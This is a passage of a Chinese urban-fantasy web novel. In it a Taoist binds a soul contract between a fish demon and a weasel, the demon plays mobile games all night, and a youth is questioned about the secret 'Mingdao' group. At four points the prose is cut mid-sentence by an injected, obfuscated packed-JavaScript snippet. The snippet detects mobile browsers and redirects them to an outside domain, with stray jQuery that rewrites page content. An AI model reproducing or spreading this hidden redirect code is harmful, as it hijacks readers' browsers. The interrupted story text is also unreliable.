自从上次把大毛扔在他这里后,贺守一直没有什么动静,像是人间蒸发了一样。 这倒是稀奇。 要知道这人之前,几乎每天都要在手机上对他进行消息轰炸。 从早中晚餐吃的东西到每天遇到的各种事,事无巨细地都要给他分享。 最夸张的时候就连拉个屎给他描述一下。 即使每次江元白反应十分冷淡,隔好几天才回个“嗯”,也阻拦不了对方的乐此不疲。 有时候他都在想贺守每天到底哪来的这么多精力。 他下意识看了眼一脸高冷,坐在余一安旁边甩着尾巴的大毛,总感觉自己忘记了什么。 江元白先是习惯性地给余一安回了消息(一个句号),接着忍着不情愿打开了和贺守的对话框。 贺守先是解释了这自己两天都在家里照顾奶奶,所以没什么空余时间和江元白发消息。 看到这里的江元白:怪不得感觉这两天这么安静,原来是少了贺守那家伙。 他接着往下看,接下来的一长串消息,都是关于照顾大毛需要注意的事项。 并且在消息的末尾,贺守对江元白热心援助的行为表达了衷心感谢,并且表示他会在回来的时候给江元白带上他最诚挚的谢礼。 江元白眉心一跳,合上了手机,目光转向一边还在和黄鼠狼较劲的余一安。 他有些无奈:“过来,我教你怎么签订魂契。” 余一安闻言,转过头来看到他时,下意识眨巴眨巴眼。 刚洗完澡的江元白发梢还有点潮湿,软塌塌地搭在额前,玉白的肌肤因为热气透着淡淡的粉,与墨色的黑发形成了鲜明对比。 余一安感觉对方现在就像是她家门前那棵被雨水洗过后的白杨,透着一股清冽又干净的味道。 当然余一安想不到太多,她只感觉江元白看起来似乎更下饭了。 她摸摸肚子,纳闷:也不饿呀,怎么感觉有些馋了? 江元白不知道她在想什么,见余一安注意力到自己身上了,才开口道:“魂契需要以双方的鲜血为引,且必须二者心甘情愿,契约才能达成。” 余一安听完,有些惊叹地感慨。 “白白你怎么知道这么多啊?” 江元白瞥了她一眼,神色暗了一瞬,没有回答她的问题,自顾自继续道:“签订魂契并不麻烦,重点是需要特定的契约符。” “不过这个契约符目前已经在道界失传几百年了。” 余一安瞪大眼:“那不是签不了吗?” “那倒不会,”江元白眉尾轻挑,清了清嗓子,“这个符,刚好我会画。” 他面上佯装平淡,实际上视线却不经意地扫过余一安的表情。 果然下一秒,他就看到对方猛地瞪圆了眼,惊呼连连:白白你也太厉害了吧!” 虽然余一安夸得并没有什么水准,但是江元白还是感觉浑身顿时一下子舒坦了。 他一脸漫不经心:“你等一下,我现在就给你画。” “好!我也要看!” 余一安有些好奇道士画符时的场景,符咒作为人类道士的独有的手段,她长这么大还从未见过。 江元白对此当然没有意见。 他又不是那些传统道士家族,藏着掖着自家的技术,生怕被别人偷学了去。 还被余一安捏着后脖颈提在手里的黄鼠狼:真的没人关注他一下吗? 关爱未化形动物,人人(妖妖)有责。 江元白取出裁剪精良的空白符纸,纸张呈现出一种古朴的米黄色,看不出来具体材料。 余一安在江元白的允许下摸了摸,纸质略显粗糙却又韧性十足。 看上去好像并没有什么特别的。 余一安有些纳闷,这看上去平平无奇的符纸到底是怎么制作成那么厉害的符咒的。 江元白取了张符纸铺在桌子上,取了毛笔,笔尖蘸上朱砂。 他手腕悬停片刻,在余一安紧盯的目光下忽而落笔—— 暗红色的朱砂在泛黄的符纸上落下痕迹,笔锋丝滑而顺畅,蜿蜒游走,转折间的动作行云流水,一举一动竟有一种玄妙的韵意。 余一安盯着他的动作,没忍住咽了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488780|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口水。 她好像又饿了。 江元白的动作一气呵成,随着最后一笔凌厉的收势,顿时符纸上的笔迹金光流转,下一秒后金光消失,变得内敛起来,灰扑扑的,如同一张普普通通的纸。 余一安惊讶:“这就好了吗?” 江元白抬手拭去额上的汗,眨了眨有些酸涩的眼,点点头:“好了。” 他的声音带着几分疲惫,画符时需要将全部注意力投注在上面,是一门极度耗费精力的活。 余一安凑近盯着符纸,表情狐疑,她有些想象不出来这张纸真的能有那么厉害的能力吗? 不管怎么看,都非常的不起眼嘛。 黄鼠狼眯起自己小小的豆豆眼,不着痕迹地打量着江元白。 它是知道人类画符时具有一定的失败率,十次落笔能有三次成符已属不易,但是这个人竟然一次就能成功。 他不自觉咽了口口水,绷紧了尾巴尖。 这个人类,怕是不怎么简单。 不过并没有人或妖注意它这个阶下囚。 江元白休息好后,对还在那里研究符咒的余一安道:“手伸出来,我取点血。” “哦好。” 余一安直接大剌剌地将手伸了出去。 江元白瞥她一眼:这么听话,也不怕被他骗了。 也幸亏他是个好人,对这条傻鱼妖没啥想法。 他心里想着,面色依旧不动声色地拿出一根银针,用火消了毒。 “会有点疼,忍一下。” 他拉过余一安的手,语气平淡,却不动声色地将动作放轻了几分。 江元白手法娴熟地扎破了对方手指,鲜红的血珠立马渗了出来,他赶紧用准备好的容器接住了那滴血。 余光却瞥见余一安呆呆地看着自己被扎破的地方,他眉心轻皱:“太疼了吗?” 刚想说对方娇气,他就听到余一安愣愣地开口:“这么点…就够了吗?” 江元白手中动作顿了顿,打量了她一眼,语气随意:“你以为要多少?” “感觉和我印象中不太一样。” 余一安歪歪头,却并没有细讲。 江元白眸光微动,随即低下头,动作略显粗暴地将对方手中的黄鼠狼接过来,提在了手上。 一下子视野变高的黄鼠狼直愣愣地看着江元白:? “到你了。” 魂契的从契一方与主契不同,主契只需要指尖血即可,而从契却需要取珍贵的心头血。 听到这个说法,黄鼠狼抖了抖身子,颤巍巍地看向江元白,胡须抖得厉害:“那个……你动作的时候能不能轻点?” 心头血,听着都疼…… 江元白闻言挑眉:“我尽量。” 说完,趁着对方晃神间,他十分迅速将针尖精准扎入黄鼠狼的心口三寸处,一缕心头血顺着银针血槽涌出,被他用容器稳稳接住。 “嗷——痛痛痛啊啊呀呀呀呀!!!!” 黄鼠狼还没反应过来,下一秒贯心的疼痛传来,他刚惨叫出声就被丢到了一边。 被取了心头血的黄鼠狼生无可恋地躺在地上,尾巴尖疼得一颤一颤的,不住地哎呀呀叫唤,一时之间只感觉自己痛的快死了。 在死之前,它只想问一下扎它的这个人:这怎么还能区别对待呢?!! 30. 玩游戏的妖怪 江元白如同没听到一般,没理它。 余一安倒是被黄鼠狼的惨叫声惊回了神,看到它这副模样,犹豫了半晌,还是将它抱起来,放到了椅子上。 虽然地上和座位上并没有什么区别,但是黄鼠狼看上去似乎终于哭喊得没那么惨了。 江元白暗自松了口气,这只黄鼠狼实在是嚷得他耳朵疼。 两份装有血液的容器摆放在桌子上,江元白闭上眼,凝神静气,待状态恢复最佳后,才缓缓睁眼。 一切准备就绪,江元白双手掐诀,口中念念有词: “天地为证,日月为鉴。” 咒言一出,他掐诀的指尖骤然泛起了淡淡青光。 “精血相融,魂魄相系。” 他的双手动作不断变化,随着下一句咒言念出,容器中两滴血珠缓缓升起,稳稳悬于半空中。 余一安瞪大了眼,张着嘴愣愣地看着这一幕。 “以吾道心,契尔真灵。” 最后一句咒言落下,青色光华流转间蓦然放大,江元白双手结印,瞅准时机往下一压! “契!” 两滴血珠应声而动,一前一后缓缓没入准备好的契约符咒之中,符咒上的朱砂纹路顿时泛起金色灵光,与血珠交织缠绕。 霎时间,整张符咒迸发出耀眼的金红色光芒。 符纸上繁复的符文仿佛被注入了生命一般,竟然脱离了符纸,最后一分为二,化为两道流光径直朝不同的方向飞去。 余一安见到那道金红色光芒朝自己飞来,本能就要躲开。 “别动!” 还好江元白眼疾手快,立马叫住了她。 余一安闻言下意识止住了自己的动作。 她睁着双眼好奇地盯着那道光落到自己面前,最后缓缓没入了自己眉心。 唔,感觉有点暖洋洋的…… 余一安摸了摸自己的额头。 好像没什么特别的感觉? 她又赶紧转头看向黄鼠狼,就看到对方的眉心出现一个繁复的鱼形图案,金红色的流光一闪而过,渐渐隐没于体内。 余一安一愣:这是什么图案? 她感觉还挺好看的。 江元白在看到那个图案时,拧起了眉,不动声色地将这个图案记进了心里。 余一安见图案没了,赶紧凑到一脸恍惚的黄鼠狼面前,对着它的脑门硬生生搓了好几下。 见那个图案真的消失了,瘪瘪嘴,眼神中带着些失望。 黄鼠狼被她粗暴的手法搓得生疼,一下子回过了神,绿豆大的眼珠子瞪成了黄豆大的眼珠子,一脸生气地嚷嚷:“撒手!撒手!” “毛要掉了!” “秃了秃了!” 余一安这才发现,自己手上还揪着黄鼠狼脑门上那撮毛没放开。 她有些讪讪地放开了手,嘴上却是不服气:“你吃了我那么多东西,揪两下毛怎么了。” “小气鬼。” 她说着,顿时想到自己没了的那些宝贝,心里的气又起来了,抬起下巴,狠狠瞪了黄鼠狼一眼。 被瞪了一眼的黄鼠狼这时候想起来,自己如今已经落到这条鱼妖手上了,回忆起自己刚刚的行为,默默用大尾巴把自己圈了起来,一声不吭,装起了死。 虽然黄鼠狼不做声了,但是余一安的气还是没消下去,转过头,气哼哼地坐一边去了。 见他们消停下来,江元白这才对余一安说道:“你试试让它做件事。” 余一安怔了怔,下一秒反应过来,眼睛一亮,立马有些跃跃欲试地朝着黄鼠狼开口:“站起来!” 此话一出,本来在努力假装自己不存在的黄鼠狼就惊恐地发现,自己的身体竟然不受控制地自己动了起来,自发凹了一个看上去颇为奇怪的站立姿势。 “你做了什么?!” 黄鼠狼想要控制自己身体,却发现除了一些微小的动作,其他较大的动作却是怎么也做不了。 莫大的恐慌弥漫在它的心尖,它忽然真切实意地意识到了自己已经没了自由的现实。 “转个圈!” 还来不及悲伤,下一秒余一安的指令又发了出来。 黄鼠狼立马颇为滑稽地转了个圈,像是脑子还没驯服四肢,歪七扭八,最后左脚踩右脚,直接四脚朝天瘫倒在地上。 黄鼠狼径直闭目装死。 可惜余一安并不放过它。 “打个滚!” “跳起来!” “撅屁股!” …… 各种奇葩的指令一个接一个,黄鼠狼最后已经一脸麻木,散发出一股“活狼微死”的状态。 随意了,爱咋咋的吧。 余一安像是找到了新玩具一般,乐此不疲地玩着,一点歇下去的想法都没有。 江元白终于看不下去了:“让它休息一下吧。” “?” 余一安疑惑地看向他,但还是听话地停了自己的行为。 看到她下意识的动作,江元白眸色微动:“它刚取了心头血,身体有些虚弱。” “过几天,你想怎么玩就怎么玩。” 他冷眼瞥向一旁装死的黄鼠狼,语气淡淡:“别死了就行,给妖族一个交代。” 虽然黄鼠狼偷吃了自己那么多东西,但是余一安倒也不是想要黄鼠狼以死谢罪。 她揪着黄鼠狼的脖子,黄鼠狼像是一具瘫软的尸体一样,被她拎了起来。 一条毛绒绒的大尾巴软趴趴地垂下来,随着她的动作晃悠悠的。 “那我先带它回去啦!” 余一安对着江元白笑嘻嘻的,摆摆手向他告别后,蹦蹦跳跳地准备回去。 走到门口时,她忽然想起来什么,转过头,眉眼依旧弯弯的,左边脸颊上的梨涡清晰可见。 “谢谢你白白!” 还没等江元白回应,对方已经只剩下一条跳跃的红绳,消失在了门后。 江元白怔了两秒,随即唇角没抑制住勾起一抹微不可见的弧度。 他转过身,虽然身体有些疲惫,但还是心情颇好地收拾起剩下的残局。 他把不知道什么时候凑过来的大毛赶到一边去,收着收着,忽然一顿,猛地就想起来了自己之前忘记的事。 转过头,江元白一脸微妙地盯着动作十分慵懒随性的大毛。 他好像记得,他家里好像一直没有放猫砂盆。 所以,这几天,大毛,拉哪的? !!!! 江元白霎时瞳孔地震,内心化为尖叫鸡。 …… 五小时后。 叫了保洁公司加急把自己家里里外外全部打扫一遍,确定自己家里没有某种脏东西后,江元白终于松了口气。 他凝视着趴在窗台上的大毛,打量了半天,最后他眯着眼,挤出了一句:“算你识相。” 大毛对他的话毫不在意,看都不看一眼对方,懒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498597|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洋洋地转过头,换个地方舔自己的毛。 江元白眉心一跳,这时门铃响了。 他打开门,拿了自己刚才网上下单的猫砂盆和猫砂。 至于其他猫咪用品,他是完全没想过。 开玩笑,这只猫只是暂住在这里,买那些东西,当他钱多了吗? 他按照教程,往猫砂盆里倒了足够的猫砂,最后放在了阳台。 毕竟屋子里面无论放哪里他都觉得脏。 拍拍手,江元白转过身去,盯着大毛,又转过头指指阳台上的猫砂盆。 “你,明白?” 大毛没理他。 江元白深吸了口气,心想自己在和一只猫说什么。 感觉他也是被那条傻鱼给传染了。 …… 毫不知道自己自己被人蛐蛐了的余一安此时正在玩游戏。 没错,就是玩游戏。 她回去后,把黄鼠狼丢到一边,第一时间拿了手机点了外卖,等外卖的期间太无聊,就开始研究自己的手机。 她把上面每一个自带的软件都点开来,最后在软件商店里面下载了一个图案花里胡哨的游戏。 她下载后点了进去,进入界面后,发现可以用绿泡泡登录,于是图方便她直接用了自己绿泡泡上的信息。 成功登入游戏,她给自己取了同样的名字。 【此昵称已被占用,换一个吧。】 她刚把“小鱼呀”输入进去,点了确定后,就看到一个弹窗跳了出来,上面写了这几个字。 “?” 余一安一懵,想了想,改成了“鱼鱼呀”,重新点了确定。 【此昵称已被占用,换一个吧。】 “……” 余一安顿时不开心了,她鼓起脸颊,咬着手指,不死心又换了好几个名称。 然而全都被系统提示昵称重复。 余一安死心了。 在对方的提议下,在自己最开始的名字后面加了几个乱七八糟的数字。 小鱼呀85645。 这次注册成功了。 页面跳转,开始新手教程。 新手教程很简单,余一安一边学一边搜索自己不懂的东西,也差不多弄懂了这个游戏的玩法。 这是一个战术竞技游戏,玩家可以通过个人,或者组队形式跳伞降落到一片地图上,搜集各种装备和资源,和各种玩家对抗,最后活到最后的各人或者队伍获得胜利。 结束完新手教程,余一安抬起头,伸了个懒腰,这才发现自己旁边不知道什么时候凑了个黄鼠狼,眼巴巴盯着自己的手机屏幕。 余一安瞪它:“你干嘛?” 黄鼠狼那张看不出啥表情的脸,竟然透露出了几分扭捏的模样,它用爪子挠了挠脸上的毛:“我无聊。” 余一安点点头,表示同意,她也觉得有些无聊。 于是她没说话,默认了黄鼠狼呆在自己旁边。 毕竟对她来说,现在的黄鼠狼也算是自己人(妖)了。 她低下头,正打算开始自己的第一次正式游戏,门铃忽然响了。 她的外卖到了。 余一安一脸期待地打开外卖盒子,拿起筷子尝了第一口,下一刻皱起了眉。 不好吃。 她目光转向一旁似乎有些好奇的黄鼠狼,眼珠子转了转,将自己面前的碗推给了黄鼠狼,语气里带着一点雀跃。 “你吃。” 31. 带早餐的妖怪 第二天,熬了一个通宵的余一安放下手机,摸了摸肚子。 她饿了。 在她旁边一晚没睡的黄鼠狼,张着嘴打了个大大的呵欠,眨巴眨巴眼:“怎么停下来了?” 它第一次知道知道人类世界的东西竟然这么好玩。 它暗自咬牙切齿。 都怪那个该死的人类,不然它早就化成人下山了。 余一安也跟着打了个呵欠,揉着肚子:“该吃早饭了。” 黄鼠狼闻言有些懵,下一秒反应过来。 妖怪化形后就不怎么需要吃东西,但这位却和一般的妖怪不一样。 整个小鹿儿山上的妖怪之间还流传着三件未解之谜:大祭司的实力到底有多强、后山的妖怪到底是谁以及余一安的胃口到底有多大。 “去哪吃?” 黄鼠狼有些恋恋不舍,它还想看余一安玩那个叫做手机“游戏”的东西,要不是它的爪子不够灵活,它也想亲自上手。 该死的那个人类。 它又在心里把那个耽误它化形的人类骂了好几遍。 如今近十几年过去,希望以后不要让它再遇到那个人类。 余一安低下头,看看时间,现在才六点多钟,还有点早。 要是去找江元白的话对方估计会生气的。 这几天她已经知道江元白有睡懒觉的习惯了。 她也不想点外卖,她这两天已经发现了,不是所有的外卖都是好吃的。 就像她以前走在路上的时候,不知道什么时候就会踩到虎妖大哥的粑粑。 最后她拍板下了决定:“我们出去吃!” …… 江元白今天依旧是被敲门声叫醒的。 他睁开睡眼惺忪的眼,第一个反应就是:他这两天一定要给余一安配一把自己家的钥匙。 他打开门,没想到外面居然不是嗷嗷待哺的余一安,而是已经晨跑回来准备上班的秦巡。 江元白:? 他低头一看时间,已经八点多了。 要知道以往那条鱼七点多就来敲他的门了。 他犹豫了下,还是开口问秦巡:“余一安呢?” “不知道呀。” 秦巡边往里走边回答:“这个时候不应该在你家吗?” 奇怪了。 江元白暗自思考着要不要去隔壁敲门的时候,一道充满活力的声音脆生生地从门口处响了起来。 “我来啦!” 听到这声音后,江元白暗自松了口气,他转身看去,就被对方两只眼睛上硕大的黑眼圈给惊住。 “你昨晚做贼了?” 他没忍住,脱口而出。 余一安一只手上提着东西,她用着另外一只手挠挠头,嘿嘿笑:“我昨晚玩游戏了。” “一不小心就忘记睡觉了。” “……” 原来妖怪也会沉迷游戏吗? 另一边的秦巡听到这里,来了兴趣,兴致勃勃问道:“你玩啥游戏啊?” 余一安歪着头回忆了下,张口说了自己玩得那个游戏的名字。 是一个很火的游戏名字。 刚好秦巡也在玩,他眼睛一亮:“我也在玩,你什么段位了?” 秦巡是个小菜鸡,玩了几年了,现在才钻石段位。 余一安回想了下,经过了一晚上的努力,她现在已经是铂金段位了。 她笑嘻嘻咧嘴笑道:“铂金啦。” “那我们下次可以一起玩。”秦巡一拍大腿,激动地提出了邀请。 自从大学毕业后,和他一起玩游戏的人大都不玩游戏了,现在就他还在偶尔坚持玩一下。 余一安倒是没想到还有意外之喜,喜出望外之下,忙不迭地答应了。 江元白在一边听不太懂,也插不上话,这下见他们终于聊完了,才开口问余一安:“你手上拿的什么?” 余一安闻言,抬起自己手中的东西晃了晃,献宝似地说道:“给你带的早餐!” “这家包子可好吃了!” 她下楼后在附近尝试了十多家不同的早餐店,最后这家包子店在所有早餐店里脱颖而出。 在她看来,这家店的味道已经和江元白做的差不多了。 就是这家店的位置实在是有点偏,要不是她闻到了那股诱人的肉香味,不然她也错过了这家店。 没等江元白说话,秦巡自发凑了过来,耸耸鼻子:“怪不得,我就说什么东西这么香?” “有我的份吗?” 他厚脸皮地问道。 一旁的江元白不乐意了,没等余一安说话,就开了口:“有没有可能,这是给我带的。” “你都吃过了,想吃自己买去。” 他扯开堵在前面的秦巡,接过余一安手里的包子,拿了筷子,夹起一个晶莹剔透的包子,慢条斯理地吃了起来。 他嚼了两口,眯起眼。 味道确实还不错。 也就比他做的差了那么一点。 余一安不好意思地看着秦巡,她确实只带了江元白的。 原因一是对方一般这会已经吃了,而则是她确实没想起来。 余一安在心里反思了下自己。 秦巡倒是不介意,他本来也只是捧下场,摆摆手,乐呵呵道:“下次记得把我那份也带上。” 余一安闻言弯弯眼:“好!” 江元白自顾自吃着包子,不知道为什么,他总有种自己辛苦带的熊孩子终于长大懂事的既视感。 反应过来自己刚刚想了什么后,江元白顿时一头黑线。 九十九岁的熊孩子? 这有点离谱了,他赶紧把这个想法抛之脑后。 他没忍住把视线不经意地掠过余一安,对方正在和秦巡讨论游戏里面的东西,眉眼弯弯的,看上去十分高兴。 江元白这时候心里忽然冒出来个不知道在哪里看到的话:别让手机成为孩子的绊脚石。 “……” 他想,他今天是不是睡太多了,睡迷糊了,导致脑子出了啥岔子。 终于吃完早餐,秦巡掏出自己的小本本,开始说今天的工作安排。 “案件目前没啥进展,所以会长让我们今天去协会帮忙。” 江元白闻言心中默默道:会长果然是不放弃能够压榨劳动力的时候啊。 可谓是真正将工作利用到了极致。 于是江元白拒绝了秦巡的安排:“我先不去了。” “我还有个稿,这两天就要交了。” 秦巡没太在意:“也行,那就小鱼咱俩一起去。” “好啊!” 余一安倒是答应得非常快。 很快到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519522|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了妖怪协会,妖怪协会里每个人都行色匆匆,顶多好奇地看两眼余一安,又去忙自己的事了。 他们径直往会长办公室走去。 不过这会苍阳华并不在办公室内,他们进去后就发现一个十来岁的男孩坐在沙发上。 还是个之前见过的人。 还没等秦巡说话,黄枫率先发现了他们。 他瞪大眼,揉了揉眼睛,看着秦巡:“你为什么会在这里?” 他看着秦巡身上的道士服,眼睛瞪得更大了,不可置信:“你竟然是道士?!” 之前秦巡出门的时候穿的日常装,黄枫不知道也是正常的。 秦巡看到他也有些惊讶,突然脑子里冒一件已经丢在脑后面,盯着他:“你好像还没还我钱?” 居然是个小骗子。 亏他还这么信任他。 黄枫听到他的询问也有些尴尬地挠挠头,气势弱下去那么一瞬:“我手机被我家老爷子没收了。” 说来也是倒霉,他当时好不容易回到家,刚踏进大门,就看到大堂里乌压压坐满了他家的七大姑八大姨,个个板着脸。 见到黄枫进来,立马十多道锐利的目光齐刷刷地超他射过来。 他那时候一瞬间以为自己偷偷改试卷成绩的事情被发现了。 事后了解是什么时候,他心想还不如是改试卷被发现了呢。 想到这里,他的思绪回到现实,干巴巴地给秦巡解释:“我现在没手机,还不了钱。” “你等我拿到手机马上还给你。” 他信誓旦旦地对秦巡说着。 秦巡对这点钱也不太在意,随意应了两声“行”后,就换了话题问他:“你为什么在这里?” 黄枫一时间不知道怎么解释,也不知道这件事能不能说。 但是对方又是自己的恩人,他一时之间陷入了两难的境界,于是吭吭哧哧了半天,也没说个所以然来。 秦巡正想说算了,这时苍阳华的及时出现解了黄枫的难题。 “你们这么快就来了?” 苍阳华坐会自己的座位,乐呵呵开口:“正好,给你们互相介绍一下。” “这是我们协会的成员,秦巡。” 他又指着黄枫对秦巡道:“这是古武黄家,黄枫。” “这个是妖族的余一安余小姐。” 他一一做了介绍后,两人一妖重新认识了一番,并且相互打了招呼。 见他们互相认识后,苍阳华才接着问出自己的疑惑:“江元白怎么没来?” “他赶稿子。” 秦巡摆摆手,解释道。 苍阳华颔首,表示知道了。 他对他们解释道:“你们上次不是在树林遇到那个迷彩人吗?” “就是黄枫。” 他看向黄枫,对方在他的视线下有些尴尬,“迷彩人”这个称呼实在是太让他脚趾扣地了。 “是你?” 余一安听到这里,没忍住开口了。 他就是那个和她打得有来有回的那个人? 余一安一看对方年纪不大的样子,顿时有些不服气起来。 “你是?” 原谅黄枫有些脸盲,要不是秦巡脑后的小辫子,他刚才也不一定认得出自己的恩人。 闻言,余一安顿时鼓起了脸蛋,她要生气了。 32. 约架的妖怪 “哦哦,是你呀!” 黄枫顿时恍然,想起来面前这个应该就是那天把自己打得落荒而逃的人。 不对,好像还是个妖怪。 说实话,黄枫还挺惊讶的,要知道他从小就天赋异禀,算是百年难见的天纵奇才。 他如今在古武界除了那些老家伙,在同辈间难觅敌手,这会遇到个对手,还比自己强,倒也不觉得难堪,反而心里生出了几分战意来。 “什么时候再比一场?” 解开误会后,黄枫对余一安发出了邀请,眉眼间有些跃跃欲试。 “好呀!”余一安闻言双眼一亮,“在哪里比?” 黄枫刚想说去他家练武场,忽然反应过来自己现在已经被家里人打包给妖怪协会了。 想到这,黄枫一时有些尴尬,他也不知道能去哪里了。 一旁默默看着的苍阳华笑眯眯开口:“咱协会后面有个废弃的运动场,你们要比试的话到时候可以去那里。” “不过,”没等他俩高兴,他话锋一转,“得先把目前的事完成了再说。” “正好他们也在,就是得麻烦你配合回答下我们的问题了。” 他把视线转向黄枫,对方表情讪讪,看上去有些不自然。 “你问吧。” 他咬咬牙,像是有些破罐子破摔。 秦巡见状,赶紧把自己的小本本拿出来记上。 苍阳华沉吟片刻,问出了第一个关键问题。 “你当时为什么会出现在那片树林?” 黄枫面上一滞,但想着自己都沦落到这个地步,还是泄了口气,认命般地回答了对方的问题。 ““明道”你们知道吗?” 两人一妖皆点了点头,“明道”这个组织他们已经了解了大致的概况。 只是让他们纳闷的是,为什么和道界不相往来的古武世家嫡系,会和“明道”扯上关系。 “你加入‘明道’了?”这是秦巡问的。 在三双眼睛的注视下,黄枫有些紧张,他端起水杯喝了口水,才摇摇头,继续开口说道:“我没加入‘明道’。” “我借的别人的身份牌。” 见他们有些不解,于是黄枫给他们解释:“明道里面不看身份,只看身份牌。” 余一安问道:“是我上次从你身上拿的那个银色的牌吗?” 黄枫“刷”地一下看向她,瞪大眼:“原来是你偷的?!” 他还以为自己弄丢了呢。 “我看你你好像很在意那个东西,我就拿了。” 余一安像是邀功似的,面色一点不好意思的神色也看不出来,反而颇有几分骄傲。 “?” 黄枫撇撇嘴,不管她,自顾自接着说:“我就接了一次任务,结果任务还砸了。” 砸了就算了,还直接被逮住了。 他这到底是啥运气啊? 黄枫在心里仰天叹息。 “你借的身份牌是谁的?” 听到苍阳华的话,黄枫顿时面上一僵,眼珠子四处转悠,支支吾吾的,半天也没说出来一个字。 最后扛不住,他解释道:“我答应了她,不能说。” 苍阳华看他一眼,也没太计较,接着问他:“你为什么想要去‘明道’?” 黄枫:“其实我一阵一直对道术还挺感兴趣的,但是你们也知道,我家里对这方面的东西一直是严令禁止的。” 因为练武对他来说,有些太容易又太无聊,自从知道世界上还有道士这行业后,他就燃起了莫大的兴趣。 可惜,他根本不敢光明正大说出来。 后来,阴差阳错之下,他认识了一个人,对方是个道士。 偶然之下,他知道了对方是“明道”的成员,于是也是那时候他知道了“明道”这个组织。 等他软磨硬泡从对方手里借到身份牌后,结果没过几天就被他弄丢了。 想到这里,黄枫面色多了几分不自然。 他到现在都和对方没敢说出事实。 要是被她知道自己弄丢了身份牌,肯定都不会理他了。 黄枫的表情顿时又变得郁闷起来。 他的声音听起来也有些闷闷不乐:“我对‘明道’倒是没啥兴趣。” “只能算是个机缘巧合。” 他心里琢磨着:也不知道能不能仿照一个出来? 秦巡总感觉对方说半天,也没说出个有效信息出来。 他没忍住,开了口:“那你知道发布这个任务的人是谁吗?” “我不知道。” 黄枫摇摇头,对他解释:“‘明道’里面的任务发布人都是保密的,甚至所有的成员都相互不认识。” 秦巡一愣:“那接任务的时候都不会接触吗?” “没办法接触,明道并没有具体的据点。” “那你们怎么接任务?” “''明道''有个软件,需要用特殊网络才能登陆进去。” 黄枫挠挠头;“我只能在我那个朋友那里才能接到任务,一个身份牌只能对应一个设备。” 秦巡默默腹诽:这组织还挺能跟上时代。 苍阳华听到这里,面色微凝,心想:这“明道”还挺聪明,这种方式就从根本上杜绝了知道这个组织背后之人身份的渠道。 他缓缓开口询问:“那你上次的任务是什么?” 黄枫纠结了下,还是咬咬牙说了:“任务是去那里拿一个东西。” “什么东西?”秦巡停下写得飞快的笔,抬眼看他。 “一个u盘。” “u盘?” 秦巡愣了愣,这年头谁出门会把u盘放身上啊。 黄枫点头,回忆了下:“如果没看错的话,是一个32g的u盘。” 你还记得挺清楚。 秦巡心里下意识吐槽了一句,接着问他:“u盘还在你身上吗?” “不在了。” 听到意料之中的回答,秦巡本来也没抱希望,正打算继续问下一个问题,就听到对方回答:“不过我存了份数据。” “?!” 秦巡“倏”得抬起头,语气隐隐有些激动:“在哪里?” 说不定这就是他们正在寻找的关键信息! 黄枫回答得却有几分犹豫:“在我那个朋友那里。” “因为我老是丢三落四的,就让她给我保管了。” “还能拿回来吗?” “可能得过几天,”黄枫顿了顿,过一会才干巴巴地开口,“我那个朋友一周才能出来一次。” “能确定具体需要几天吗?” 黄枫挠挠头,掰着手指算了算,语气颇有几分不确定:“大概三四天吧。” “少的话估计三天,多的话十天也有可能。” 他想了想,还是补充了这条信息。 “所以,你们这是在搞神秘地下组织接头是吧?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15534367|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 秦巡下意识吐槽了一句。 “她有些忙。”黄枫听了这句话,迅速解释道。 “行吧,”秦巡在纸上记下这条信息,并圈了重点,“那你看了里面的内容吗?” 黄枫点点头:“看了。” “里面是很多份账单,还有一些名单。” “名单?” “对,”黄枫边回想便开口,“上面是一些人的联系方式,地址备注啥的。” “不过我当时感觉里面的东西没啥意思,就随便看了几眼。” 秦巡有些遗憾,记下最后一笔,看向苍阳华,示意他还有什么要问的。 苍阳华问了他最后一个问题:“你认识单承恩吗?” “单承恩?” 黄枫口中念着这个名字,一副全然陌生的模样,摇摇头:“没听过这个名字。” “那能说一下,你当时用的那个符咒,是哪来的吗?” “啊?”黄枫懵了一下,下一秒反应过来,“你说的是上次用的那个遁土符吗?” 